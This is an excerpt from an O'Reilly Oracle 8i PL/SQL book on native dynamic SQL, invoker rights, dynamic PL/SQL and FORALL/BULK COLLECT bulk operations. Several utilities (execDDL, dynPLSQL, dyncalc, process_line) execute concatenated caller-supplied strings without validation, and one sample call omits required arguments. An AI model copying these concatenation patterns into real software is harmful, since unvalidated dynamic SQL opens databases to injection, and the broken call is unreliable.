Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.6 Building Applications with NDS

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

4.6 Building Applications with NDS

By now, you should have a solid understanding of how native dynamic SQL works in PL/SQL. This section covers some topics that you should be aware of as you start to build production applications with this new PL/SQL feature.

4.6.1 Sharing NDS Programs with Invoker Rights

I have created a number of useful generic programs in my presentation on NDS, including functions and procedures that do the following:

  • Execute any DDL statement

  • Return the count of rows in any table

  • Return the count for each grouping by specified column

These are pretty darn useful utilities and I want to let everyone on my development team use them. So I compile them into the COMMON schema and grant EXECUTE authority on the programs to PUBLIC.

However, there is a problem with this strategy. When Sandra connects to her SANDRA schema and executes this command:

SQL> exec COMMON.execDDL ('create table temp (x date)');

she will inadvertently create a table in the COMMON schema -- unless I take advantage of the invoker rights model described in Chapter 3, Invoker Rights: Your Schema or Mine?

The invoker rights model means that you define your stored programs so they execute under the authority, and with the privileges, of the invoking schema rather than the defining schema (which is the default in Oracle 8.1 and the only option prior to Oracle 8.1).

Fortunately, there isn't much you have to do to take advantage of this new feature. Here is a version of execDDL that executes any DDL statement -- but always having an impact in the calling or invoking schema:

CREATE OR REPLACE PROCEDURE execDDL (ddl_string IN VARCHAR2)
   AUTHID CURRENT_USER
IS
BEGIN
   EXECUTE IMMEDIATE ddl_string;
END;
/

I recommend that you use the AUTHID CURRENT_USER clause in all of your dynamic SQL programs, particularly in those that you plan to share among a group of developers. The package discussed at the end of this chapter in Section 4.7, "NDS Utility Package" follows this standard.

4.6.2 Error Handling

Any robust application needs to anticipate and handle errors. Error detection and correction with dynamic SQL can be especially challenging.

Sometimes the most challenging aspect to building and executing dynamic SQL programs is getting the string of dynamic SQL correct. You might be combining a list of columns in a query with a list of tables and then a WHERE clause that changes with each execution. You have to concatenate that stuff, getting the commas right, the ANDs and ORs right, and so on. What happens if you get it wrong?

Well, Oracle raises an error. And this error usually tells you exactly what is wrong with the SQL string, but that information can still leave lots to be desired and figured out. Consider the following nightmare scenario: I am building the most complicated PL/SQL application ever. It uses dynamic SQL left and right, but that's OK. I am a pro at the new NDS. I can, in a flash, type EXECUTE IMMEDIATE, OPEN FOR, and all the other statements I need. I blast through the development phase. I also rely on some standard exception-handling programs I have built that display an error message when an exception is encountered.

Then the time comes to test my application. I build a test script that runs through a lot of my code; I place it in a file named testall.sql (you'll find it on the companion disk). With trembling fingers, I start my test:

SQL> @testall

And, to my severe disappointment, here is what shows up on my screen:

ORA-00942: table or view does not exist
ORA-00904: invalid column name
ORA-00921: unexpected end of SQL command
ORA-00936: missing expression

Now, what am I supposed to make of all these error messages? Which error message goes with which SQL statement? Bottom line: when you do lots of dynamic SQL, it is very easy to get very confused and waste lots of time debugging your code -- unless you take precautions as you write your dynamic SQL.

Here are my recommendations:

  • Always include an error handling section in code that calls EXECUTE IMMEDIATE and OPEN FOR.

  • In each handler, record and/or display the error message and the SQL statement when an error occurs.

How do these recommendations translate into changes in your code? First, let's apply these changes to the execDDL routine, and then generalize from there. Here is the starting point:

CREATE OR REPLACE PROCEDURE execDDL (ddl_string IN VARCHAR2)
   AUTHID CURRENT_USER IS
BEGIN
   EXECUTE IMMEDIATE ddl_string;
END;

Now let's add an error handling section to show us problems when they occur:

/* Filename on companion disk: execddl.sp */
CREATE OR REPLACE PROCEDURE execDDL (ddl_string IN VARCHAR2)
   AUTHID CURRENT_USER IS
BEGIN
   EXECUTE IMMEDIATE ddl_string;
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE (
         'Dynamic SQL Failure: ' || SQLERRM);
      DBMS_OUTPUT.PUT_LINE (
         '   on statement: "' || ddl_string || '"');
      RAISE;
END;

When I use this version to attempt to create a table using really bad syntax, this is what I see:

SQL> exec execddl ('create table x')
Dynamic SQL Failure: ORA-00906: missing left parenthesis
   on statement: "create table x"

Of course, in your production version, you might want to consider something a bit more sophisticated than the DBMS_OUTPUT built-in package.

TIP: With DBMS_SQL, if your parse request fails and you do not explicitly close your cursor in the error section, that cursor remains open (and uncloseable), leading to possible "maximum open cursors exceeded" errors. This will not happen with NDS; cursor variables declared in a local scope are automatically closed -- and memory released -- when the block terminates.

Now let's broaden our view a bit: when you think about it, the execDDL procedure is not really specific to DDL statements. It can be used to execute any SQL string that does not require either USING or INTO clauses. From that perspective, we now have a single program that can and should be used in place of a direct call to EXECUTE IMMEDIATE -- it has all that error handling built in. I supply such a procedure in the ndsutil package (see Section 4.7).

We could even create a similar program for OPEN FOR -- again, only for situations that do not require a USING clause. Since OPEN FOR sets a cursor value, we would probably want to implement it as a function, which would return a type of weak REF CURSOR. This leads right to a packaged implementation along these lines:

PACKAGE ndsutil
IS
   TYPE cv_type IS REF CURSOR;

   FUNCTION openFor (sql_string IN VARCHAR2) RETURN cv_type;
END;

The NDS utility package (available on the companion disk in ndsutil.pkg ) contains the complete implementation of this function; the body is quite similar to the execDDL procedure shown earlier.

4.6.3 Dynamic PL/SQL

I think I can safely say that some of the most enjoyable moments I have had with PL/SQL (and, believe me, given all the time I spend with the language, I keep a sharp eye out for those moments!) occurred when I was constructing and executing PL/SQL blocks of code dynamically.

Think of it: while a user is running your application, it can do any of the following:

  • Create a program, including a package that contains globally accessible data structures

  • Obtain (and modify) by name the value of global variables

  • Call functions and procedures whose names are not known at compile time

I have used this technique to build very flexible code generators, softcoded calculation engines for users, and much more. Dynamic PL/SQL allows you to work at a higher level of generality, which can be both challenging and exhilarating.

There are some rules and tips you need to keep in mind when working with dynamic PL/SQL blocks and NDS:

  • The dynamic string must be a valid PL/SQL block. It must start with the DECLARE or BEGIN keywords, and end with an END statement and a semicolon. The string will not be considered PL/SQL code unless it ends with a semicolon.

  • In your dynamic block, you can only access PL/SQL code elements that have global scope (standalone functions and procedures, and elements defined in the specification of a package). Dynamic PL/SQL blocks execute outside the scope of the local enclosing block.

  • Errors raised within a dynamic PL/SQL block can be trapped and handled by the local block in which the string was run with the EXECUTE IMMEDIATE statement.

Let's explore these rules so as to avoid any confusion. First of all, I will build a little utility to execute dynamic PL/SQL:

/* Filename on companion disk: dynplsql.sp */
CREATE OR REPLACE PROCEDURE dynPLSQL (blk IN VARCHAR2)
IS
BEGIN
   EXECUTE IMMEDIATE
      'BEGIN ' || RTRIM (blk, ';') || '; END;';
END;
/

This one program encapsulates many of the rules mentioned previously for PL/SQL execution. By enclosing the string within a BEGIN-END pairing, I guarantee that whatever I pass in is executed as a valid PL/SQL block. For instance, I can execute the calc_ totals procedure dynamically as simply as this:

SQL> exec dynPLSQL ('calc_totals');

Now let's use this program to examine what kind of data structures you can reference within a dynamic PL/SQL block. In the following anonymous block, I want to use DBMS_SQL to assign a value of 5 to the local variable num:

<<dynamic>>
DECLARE
   num NUMBER;
BEGIN
   dynPLSQL ('num := 5');
END;
/

This string is executed within its own BEGIN-END block, which would appear to be a nested block within the anonymous block named "dynamic" with the label. Yet when I execute this script I receive the following error:

PLS-00302: component 'NUM' must be declared
ORA-06512: at "SYS.DBMS_SYS_SQL", line 239

The PL/SQL engine is unable to resolve the reference to the variable named num. I get the same error even if I qualify the variable name with its block name:

<<dynamic>>
DECLARE
   num NUMBER;
BEGIN
   /* Also causes a PLS-00302 error! */
   dynPLSQL ('dynamic.num := 5');
END;
/

Now suppose that I define the num variable inside a package called dynamic:

CREATE OR REPLACE PACKAGE dynamic
IS
   num NUMBER;
END;
/

I am now able to execute the dynamic assignment to this newly defined variable successfully:

BEGIN
   dynPLSQL ('dynamic.num := 5');
END;
/

What's the difference between these two pieces of data? In my first attempt, the variable num is defined locally in the anonymous PL/SQL block. In my second attempt, num is a public global variable defined in the dynamic package. This distinction makes all the difference with dynamic PL/SQL.

It turns out that a dynamically constructed and executed PL/SQL block is not treated as a nested block; instead, it is handled as if it were a procedure or function called from within the current block. So any variables local to the current or enclosing blocks are not recognized in the dynamic PL/SQL block. You can only make references to globally defined programs and data structures. These PL/SQL elements include standalone functions and procedures and any elements defined in the specification of a package.

Fortunately, the dynamic block is executed within the context of the calling block. If you have an exception section within the calling block, it will trap exceptions raised in the dynamic block. So if I execute this anonymous block in SQL*Plus:

BEGIN
   dynPLSQL ('undefined.packagevar := ''abc''');
EXCEPTION
   WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE (SQLCODE);
END;
/

I will not get an unhandled exception.

TIP: The assignment performed in this anonymous block is an example of indirect referencing. I don't reference the variable directly, but instead do so by specifying the name of the variable. Oracle Developer's FormsBuilder product (formerly known as SQL*Forms and Oracle Forms) offers an implementation of indirect referencing with the NAME_IN and COPY programs. This feature allows developers to build logic that can be shared across all forms in the application. PL/SQL does not support indirect referencing, but you can implement it with dynamic PL/SQL. See the dynvar.pkg file on the disk for an example of such an implementation.

In the following sections, I offer several examples of dynamic PL/SQL to spark your interest and, perhaps, inspire your creativity.

4.6.3.1 Dramatic code reduction

Here is a true story, I kid you not. I once spent some time at an insurance company here in Chicago. Now, top management at insurance companies is notorious for burying any sense of compassion under a mountain of red tape -- and that inclination gets pushed down into the software we have to write. So, for example, a policy might have hundreds of lines of fine print, each of which has a number associated with it, and each of which applies or does not apply to a given claim.

For each line number, the developers had written a "process line" procedure. So if they needed to process line 1, they would call:

process_line1

If line 514 applied to the claim, then it was time to call:

process_line514

The remarkable thing about this situation is that the developers ended up with a program like this:

CREATE OR REPLACE PROCEDURE process_line (line IN INTEGER)
IS
BEGIN
   IF line = 1 THEN process_line1;
   ELSIF line = 2 THEN process_line2;
   ...
   ELSIF line = 514 THEN process_line514;
   ...
   END IF;
END;

and it was so long that it often would fail to compile, and when it did manage to compile, it took a long time to execute. Nasty!

Dynamic SQL is, of course, suited perfectly to this scenario, and I was able to fix their problem in no time at all (well, to be honest, at the time I fixed it using DBMS_SQL, but here's the NDS implementation):

CREATE OR REPLACE PROCEDURE process_line (line IN INTEGER)
IS
BEGIN
   EXECUTE IMMEDIATE
      'BEGIN process_line' || line || '; END;';
END;

From thousands of lines of code down to one executable statement. I like it!

4.6.3.2 Generic calculator function

Here's the scenario for which I wrote the dyncalc function shown in this section: suppose I have to build a GUI application that allows users to select their calculation of choice, enter the arguments, and then display the results. There are a dozen different calculations, accepting from one to five arguments, all returning a single value.

I could write a separate screen for each calculation. However, that approach is not only labor-intensive, but also high-maintenance. Every time a new calculation is added to the mix, I have to go in and write another screen. Yuck! Wouldn't it be nice if I could "soft code" my application, so that (ideally) when users need access to another calculation, they can essentially add it themselves?

So I build a set of database tables to store header-level information about the calculation, including a description, the name of the calculation function, the number of arguments, descriptions of each argument, and so forth. But now I need a utility that will run any of the calculations I send to it. This is where dynamic PL/SQL comes into play.

Here is the header of a function that accepts up to five arguments and runs whatever function is requested:

/* Filename on companion disk: dyncalc.sf */
CREATE OR REPLACE FUNCTION dyncalc (
   oper_in IN VARCHAR2,
   nargs_in IN INTEGER := 0,
   arg1_in IN VARCHAR2 := NULL,
   arg2_in IN VARCHAR2 := NULL,
   arg3_in IN VARCHAR2 := NULL,
   arg4_in IN VARCHAR2 := NULL,
   arg5_in IN VARCHAR2 := NULL
   )
   RETURN VARCHAR2

The implementation uses the EXECUTE IMMEDIATE statement in a cascading IF statement. Here is a portion of the function body:

ELSIF nargs_in = 2
THEN
   EXECUTE IMMEDIATE v_code || '(:1, :2); END;'
      USING OUT retval, arg1_in, arg2_in;
ELSIF nargs_in = 3
THEN
   EXECUTE IMMEDIATE v_code || '(:1, :2, :3); END;'
      USING OUT retval, arg1_in, arg2_in, arg3_in;

No rocket science here . . . but it gets the job done, as shown in the SQL*Plus session below:

SQL> BEGIN
  2     DBMS_OUTPUT.PUT_LINE (dyncalc('sysdate'));
  3     DBMS_OUTPUT.PUT_LINE (dyncalc('power', 2, 2, 44));
  4     DBMS_OUTPUT.PUT_LINE (
  5        dyncalc ('greatest', 5, 66, 5, 88, 1020, -4));
  6  END;
  7  /
05-MAY-99
17592186044416
1020

Previous: 4.5 Working with Objects and Collections | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 4.7 NDS Utility Package
4.5 Working with Objects and Collections | Book Index | 4.7 NDS Utility Package
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.7 NDS Utility Package

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

4.7 NDS Utility Package

To make it easier for my readers to take advantage of the various generic utilities discussed in this chapter, I have created a single package called ndsutil. This package, available on the companion disk in ndsutil.pkg, contains the programs listed in Table 4.1.

Table 4.1: Contents of the NDS Utility Package
Name | Description
execImmed | Substitute for EXECUTE IMMEDIATE that does not need a USING or INTO clause; includes error handling.
openFor | Substitute for OPEN FOR that does not need a USING clause; includes error handling.
showCol | Shows the contents of a single column in the specified table.
tabCount | Returns the number of rows in the specified table, with an optional WHERE clause.
countBy | Returns the number of rows in the specified table for a particular GROUP BY expression, with an optional HAVING clause.
dynPLSQL | Executes a dynamic PL/SQL string, automatically making sure that it is a valid block and that it ends in a semicolon. The USING clause is not allowed.

The package is defined using the invoker rights mode (AUTHID CURRENT_USER). This means that no matter who owns the package, any external references in the dynamic SQL you execute via ndsutil are resolved according to the authority of the invoking schema, not the owner.

All programs contain exception sections that display the error and the offending SQL. Procedures then reraise the error, whereas functions generally return NULL or a NULL/empty structure.

TIP: I am sure there are many programs you can add to this package. Please post any additions to the PL/SQL Pipeline at http://www.revealnet.com/plsql-pipeline, in the Pipetalk area. Then we can all gain from your experience and creativity!

Previous: 4.6 Building Applications with NDS | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 5. Bulking Up with PL/SQL 8.1
4.6 Building Applications with NDS | Book Index | 5. Bulking Up with PL/SQL 8.1
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] Bulking Up with PL/SQL 8.1

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 4.7 NDS Utility Package Chapter 5 Next: 5.2 Bulk DML with the FORALL Statement

5. Bulking Up with PL/SQL 8.1

Contents:
Context-Switching Problem Scenarios
Bulk DML with the FORALL Statement
Bulk Querying with the BULK COLLECT Clause
Using Cursor Attributes
Analyzing the Impact of Bulk Operations

We all know that PL/SQL is tightly integrated with the underlying SQL engine in the Oracle database. PL/SQL is the database programming language of choice for Oracle -- even if you now can at least theoretically use Java inside the database as well.

But this tight integration does not necessarily mean that there isn't any overhead associated with running SQL from a PL/SQL program. When the PL/SQL runtime engine processes a block of code, it executes the procedural statements within its own engine, but it passes the SQL statements on to the SQL engine. The SQL layer executes the SQL statements and then returns information to the PL/SQL engine, if necessary.

This transfer of control (shown in Figure 5.1) between the PL/SQL and SQL engines is called a context switch. Each time a switch occurs, there is additional overhead. There are a number of scenarios in which many switches occur and performance degrades. Oracle 8.1 now offers two enhancements to PL/SQL that allow you to bulk together multiple context switches into a single switch, thereby improving the performance of your applications.

Figure 5.1: Context switching between PL/SQL and SQL

These new features are as follows:

FORALL

A variation on the FOR loop that bundles together multiple DML statements based on data in a collection

BULK COLLECT

An enhancement to implicit and explicit query cursor syntax that allows the transfer of multiple rows of data in a single round-trip between the PL/SQL and SQL engines

Make Collections a Part of Your PL/SQL Diet

With each new release, PL/SQL gets more robust, faster, and easier to use. The "bulk bind" features discussed in this chapter, FORALL and BULK COLLECT, are clear reflections of this trend.

As you will soon see, you won't be able to take advantage of FORALL and BULK COLLECT unless you work with collections (variable arrays, nested tables, or index-by tables). Sadly, many PL/SQL developers have not yet become conversant in these relatively new structures (variable arrays and nested tables are new with Oracle8; index-by tables were first available in PL/SQL 2.3 as "PL/SQL tables"). If you are one of those developers, perhaps these bulk bind capabilities will offer the required incentive for you to dig in to your books and knowledge bases.

If you don't use collections and you don't use bulk bind operations, then the applications you write will run more slowly and be more complicated than you -- and your manager -- would like.

5.1 Context-Switching Problem Scenarios

Before we take a look at the details of FORALL and BULK COLLECT, let's examine the scenarios where excessive context switches are likely to cause problems. These are likely to happen when you are processing multiple rows of information stored (or to be deposited) in a collection (a VARRAY, nested table, index-by table, or host array).

Suppose, for example, that I have filled two variable arrays with war criminals' ID numbers and the latest count of their victims. I then want to update the war criminals table with this information. Here's the solution I would have written prior to Oracle 8.1 (referencing a couple of already defined variable arrays):

CREATE OR REPLACE PROCEDURE update_tragedies (
   warcrim_ids IN name_varray,
   num_victims IN number_varray
   )
IS
BEGIN
   FOR indx IN warcrim_ids.FIRST .. warcrim_ids.LAST
   LOOP
      UPDATE war_criminal
         SET victim_count = num_victims (indx)
       WHERE war_criminal_id = warcrim_ids (indx);
   END LOOP;
END;

If I needed to update 100 rows, then I would be performing 100 context switches, since each update is processed in a separate trip to the SQL engine. Figure 5.2 illustrates this excessive (but previously unavoidable) switching.

Figure 5.2: Excessive context switching for multiple UPDATEs

You can also run into lots of switching when you fetch multiple rows of information from a cursor into a collection. Here is an example of the kind of code that cries out for the Oracle 8.1 bulk collection feature:

DECLARE
   CURSOR major_polluters IS
      SELECT name, mileage
        FROM cars_and_trucks
       WHERE vehicle_type IN ('SUV', 'PICKUP');
   names name_varray := name_varray();
   mileages number_varray := number_varray();
BEGIN
   FOR bad_car IN major_polluters
   LOOP
      names.EXTEND;
      names (major_polluters%ROWCOUNT) := bad_car.name;
      mileages.EXTEND;
      mileages (major_polluters%ROWCOUNT) := bad_car.mileage;
   END LOOP;

   ... now work with data in the arrays ...
END;

If you find yourself writing code like either of the previous examples, you will be much better off switching to one of the bulk operations explored in the following sections. In particular, you should keep an eye out for these cues in your code:

  • A recurring SQL statement inside a PL/SQL loop (it doesn't have to be a FOR loop, but that is the most likely candidate).

  • Some parameter that can be made a bind variable. You need to be able to load those values into a collection to then have it processed by FORALL.

Previous: 4.7 NDS Utility Package | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 5.2 Bulk DML with the FORALL Statement
4.7 NDS Utility Package | Book Index | 5.2 Bulk DML with the FORALL Statement
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.2 Bulk DML with the FORALL Statement

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

5.2 Bulk DML with the FORALL Statement

PL/SQL has a new keyword: FORALL. This keyword tells the PL/SQL runtime engine to bulk bind into the SQL statement all the elements of one or more collections before sending anything to the SQL engine.

Although the FORALL statement contains an iteration scheme (it iterates through all the rows of a collection), it is not a FOR loop. It does not, consequently, have either a LOOP or an END LOOP statement. Its syntax is as follows:

FORALL index_row IN lower_bound ... upper_bound
   sql_statement;
index_row

The specified collection; the FORALL will iterate through the rows of this collection

lower_bound

The starting index number (row or collection element) for the operation

upper_bound

The ending index number (row or collection element) for the operation

sql_statement

The SQL statement to be performed on each collection element

You must follow these rules when using FORALL:

  • The body of the FORALL statement is a single DML statement -- an INSERT, UPDATE, or DELETE.

  • The DML must reference collection elements, indexed by the index_row variable in the FORALL statement. The scope of the index_row variable is the FORALL statement only; you may not reference it outside of that statement.

  • Do not declare an INTEGER variable for index_row. It is declared implicitly by the PL/SQL engine.

  • The lower and upper bounds must specify a valid range of consecutive index numbers for the collection(s) referenced in the SQL statement. The following script, for example:

    DECLARE
   TYPE NumList IS TABLE OF NUMBER;
   ceo_payoffs NumList :=
      NumList(1000000, 42000000, 20000000, 17900000);
BEGIN
   ceo_payoffs.DELETE(3);  -- delete third element
   FORALL indx IN ceo_payoffs.FIRST..ceo_payoffs.LAST
      UPDATE excessive_comp
         SET salary = ceo_payoffs(indx)
       WHERE layoffs > 10000;
END;

    will cause the following error:

    ORA-22160: element at index [3] does not exist

    This error occurs because the DELETE method has removed an element from the collection; the FORALL statement requires a densely filled collection. See the diffcount.sql file on the companion disk for an example (and resulting behavior) of this scenario.

  • The collection subscript referenced in the DML statement cannot be an expression. For example, the following script:

    DECLARE
   names name_varray := name_varray();
BEGIN
   FORALL indx IN names.FIRST .. names.LAST
      DELETE FROM emp WHERE ename = names(indx+10);
END;
/

    will cause the following error:

PLS-00430: FORALL iteration variable INDX is not allowed in this context

The DML statement can reference more than one collection. The upper and lower bounds do not have to span the entire contents of the collection(s). When this statement is bulk bound and passed to SQL, the SQL engine executes the statement once for each index number in the range. In other words, the same SQL statements will be executed, but they will all be run in the same round-trip to the SQL layer, minimizing the context switches, as shown in Figure 5.3.

Figure 5.3: One context switch with FORALL

5.2.1 FORALL Examples

Here are some examples of the use of the FORALL statement:

  1. Let's rewrite the update_tragedies procedure to use FORALL:

    CREATE OR REPLACE PROCEDURE update_tragedies (
   warcrim_ids IN name_varray,
   num_victims IN number_varray
   )
IS
BEGIN
   FORALL indx IN warcrim_ids.FIRST .. warcrim_ids.LAST
      UPDATE war_criminal
         SET victim_count = num_victims (indx)
       WHERE war_criminal_id = warcrim_ids (indx);
END;

    Notice that the only changes in this example are to change FOR to FORALL, and to remove the LOOP and END LOOP keywords. This use of FORALL accesses and passes to SQL each of the rows defined in the war criminals array (and the corresponding values for the number of victims).

  2. In the following call to FORALL, I am passing a subset of the collection's full range of values to the SQL statement:

DECLARE
   TYPE not_enough_names IS VARRAY(2000) OF VARCHAR2(100);
   usda_inspectors not_enough_names := not_enough_names ();
BEGIN
   -- Fill varray with the names of the US Department of Agriculture
   -- inspectors who are supposed to inspect over 7,000,000 businesses
   -- in the United States.
   ...

   -- Make government smaller: DELETE all but 100 inspectors
   -- and then wait for the E. coli to attack.
   FORALL indx IN 101 .. usda_inspectors.LAST
      DELETE FROM federal_employee
       WHERE name = usda_inspectors(indx);
END;

  3. The previous example shows how the DML statement can reference more than one collection. In this next case, I have three: denial, patient_name, and illnesses. Only the first two are subscripted. Since the PL/SQL engine bulk binds only subscripted collections, the same illnesses collection is inserted as a whole into the hmo_coverage table for each of the rows inserted:

FORALL indx IN denial.FIRST .. denial.LAST
   INSERT INTO hmo_coverage
      VALUES (denial(indx), patient_name(indx), illnesses);

5.2.2 ROLLBACK Behavior with FORALL

The FORALL statement allows you to pass multiple SQL statements all together (in bulk) to the SQL engine. This means that as far as context switching is concerned, you have one SQL "block," but these blocks are still treated as individual DML operations.

What happens when one of those DML statements fails? The following rules apply:

  • The FORALL statement stops executing. It isn't possible to request that the FORALL skip over the offending statement and continue on to the next row in the collection.

  • The DML statement being executed is rolled back to an implicit savepoint marked by the PL/SQL engine before execution of the statement.

  • Any previous DML operations in that FORALL statement that already executed without error are not rolled back.

The following script demonstrates this behavior; it's available in the forallerr.sql file on the companion disk.

First, I create a table for lobbyists of the National Rifle Association (if they are not "gun happy," then I don't know who is) and fill it with some gun information:

/* Filename on companion disk: forallerr.sql */
CREATE TABLE gun_happy (
   name VARCHAR2(15), country VARCHAR2(100), killed INTEGER);
INSERT INTO gun_happy VALUES('AK-47', 'Russia', 100000);
INSERT INTO gun_happy VALUES('Uzi', 'Israel', 50000);
INSERT INTO gun_happy VALUES('Colt-45', 'USA', 25000000);

Then I use FORALL to update the names of the guns to include the number of people killed by those guns. (Whoops! Guns don't kill people. People kill people.)

DECLARE
   TYPE StgList IS TABLE OF VARCHAR2(100);
   countries StgList := StgList ('Israel', 'Russia', 'USA');
BEGIN
   FORALL indx IN countries.FIRST..countries.LAST
      UPDATE gun_happy SET name = name || '-' || killed
         WHERE country = countries(indx);

   DBMS_OUTPUT.PUT_LINE ('Update performed!');
EXCEPTION
   WHEN OTHERS THEN
      DBMS_OUTPUT.PUT_LINE ('Update did not complete!');
      COMMIT;
END;
/

Take note of two things:

  • I place the countries in the nested table named "countries" in alphabetical order; thus, the update for the Colt .45 will be the last one processed.

  • When I concatenate the name and killed tables for the Colt .45, the length of this string exceeds 15 characters. This will raise a VALUE_ERROR exception.

To see the impact of this block, I run my script with queries to show the contents of the gun_happy table:

SQL> @forallerr

Gun Names
---------------
AK-47
Uzi
Colt-45

Use FORALL for update...
Update did not complete!

Gun Names
---------------
AK-47-100000
Uzi-50000
Colt-45

As you can see, the first two changes stuck, whereas the last attempt to change the name failed, causing a rollback, but only to the beginning of that third UPDATE statement.

How do you know how many of your DML statements succeeded? You can check the SQL%BULK_ROWCOUNT cursor attribute; this new attribute, used exclusively with bulk binds, is discussed later in Section 5.4, "Using Cursor Attributes.

Previous: 5.1 Context-Switching Problem Scenarios | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 5.3 Bulk Querying with the BULK COLLECT Clause
5.1 Context-Switching Problem Scenarios | Book Index | 5.3 Bulk Querying with the BULK COLLECT Clause
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.3 Bulk Querying with the BULK COLLECT Clause

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

5.3 Bulk Querying with the BULK COLLECT Clause

So now you know how to perform bulk DML with FORALL. What about bulk querying? I showed an example earlier of the kind of code that cries out for a bulk transfer. Here is the executable section of that example:

BEGIN
   FOR bad_car IN major_polluters
   LOOP
      names.EXTEND;
      names (major_polluters%ROWCOUNT) := bad_car.name;
      mileages.EXTEND;
      mileages (major_polluters%ROWCOUNT) := bad_car.mileage;
   END LOOP;

   ... now work with data in the arrays ...
END;

Not only do I have to write a bunch of code, but it is also much slower than I would like, because of the context switches.

To help out in this scenario, PL/SQL now offers the BULK COLLECT keywords. This clause in your cursor (explicit or implicit) tells the SQL engine to bulk bind the output from the multiple rows fetched by the query into the specified collections before returning control to the PL/SQL engine. The syntax for this clause is:

... BULK COLLECT INTO collection_name[, collection_name] ...

where collection_name identifies a collection.

Here are some rules and restrictions to keep in mind when using BULK COLLECT:

  • You can use these keywords in any of the following clauses: SELECT INTO, FETCH INTO, and RETURNING INTO.

  • The collections you reference can only store scalar values (string, number, date). In other words, you cannot fetch a row of data into a record structure that is a row in a collection.

  • The SQL engine automatically initializes and extends the collections you reference in the BULK COLLECT clause. It starts filling the collections at index 1, inserts elements consecutively (densely), and overwrites the values of any elements that were previously defined.

  • You cannot use the SELECT...BULK COLLECT statement in a FORALL statement.

Let's explore these rules and the usefulness of BULK COLLECT through a series of examples.

First, here is a recoding of the "major polluters" example using BULK COLLECT:

DECLARE
   names name_varray;
   mileages number_varray;
BEGIN
   SELECT name, mileage
     FROM cars_and_trucks
     BULK COLLECT INTO names, mileages
    WHERE vehicle_type IN ('SUV', 'PICKUP');

   ... now work with data in the arrays ...
END;

I am now able to remove the initialization and extension code from the row-by-row fetch implementation.

But I don't have to rely on implicit cursors to get this job done. Here is another re-working of the major polluters example, retaining the explicit cursor:

DECLARE
   CURSOR major_polluters IS
      SELECT name, mileage
        FROM cars_and_trucks
       WHERE vehicle_type IN ('SUV', 'PICKUP');
   names name_varray;
   mileages number_varray;
BEGIN
   OPEN major_polluters;
   FETCH major_polluters BULK COLLECT INTO names, mileages;

   ... now work with data in the arrays ...
END;

recommend that you use this second, explicit cursor-based approach -- and that you store your cursors in packages, so that they can be reused. In fact, the optimal approach would involve a bundling of these operations into a procedure, as follows:

/* Filename on companion disk: polluters.pkg */
CREATE OR REPLACE PACKAGE pollution
IS
   CURSOR major_polluters (typelist IN VARCHAR2)
   IS
      SELECT name, mileage
        FROM cars_and_trucks
       WHERE INSTR (typelist, vehicle_type) > 0;

   PROCEDURE get_major_polluters (
      typelist IN VARCHAR2,
      names OUT name_varray,
      mileages OUT number_varray);
END;
/

CREATE OR REPLACE PACKAGE BODY pollution
IS
   PROCEDURE get_major_polluters (
      typelist IN VARCHAR2,
      names OUT name_varray,
      mileages OUT number_varray)
   IS
   BEGIN
      IF major_polluters%ISOPEN
      THEN
         CLOSE major_polluters;
      END IF;
      OPEN major_polluters (typelist);
      FETCH major_polluters BULK COLLECT INTO names, mileages;
      CLOSE major_polluters;
   END;
END;
/

Then I can populate my arrays with a minimum of fuss and a maximum of reusability (of both code and SQL):

DECLARE
   names name_varray;
   mileages number_varray;
BEGIN
   pollution.get_major_polluters ('SUV,PICKUP');

   ... now work with data in the arrays ...
END;

5.3.1 Restricting Bulk Collection with ROWNUM

There is no regulator mechanism built into BULK COLLECT. If your SQL statement identifies 100,000 rows of data, then the column values of all 100,000 rows will be loaded into the target collections. This can, of course, cause serious problems in your application -- and in system memory. Remember: these collections are allocated for each session. So if you have 100 users all running the same program that bulk collects 100,000 rows of information, then real memory is needed for a total of 10 million rows.

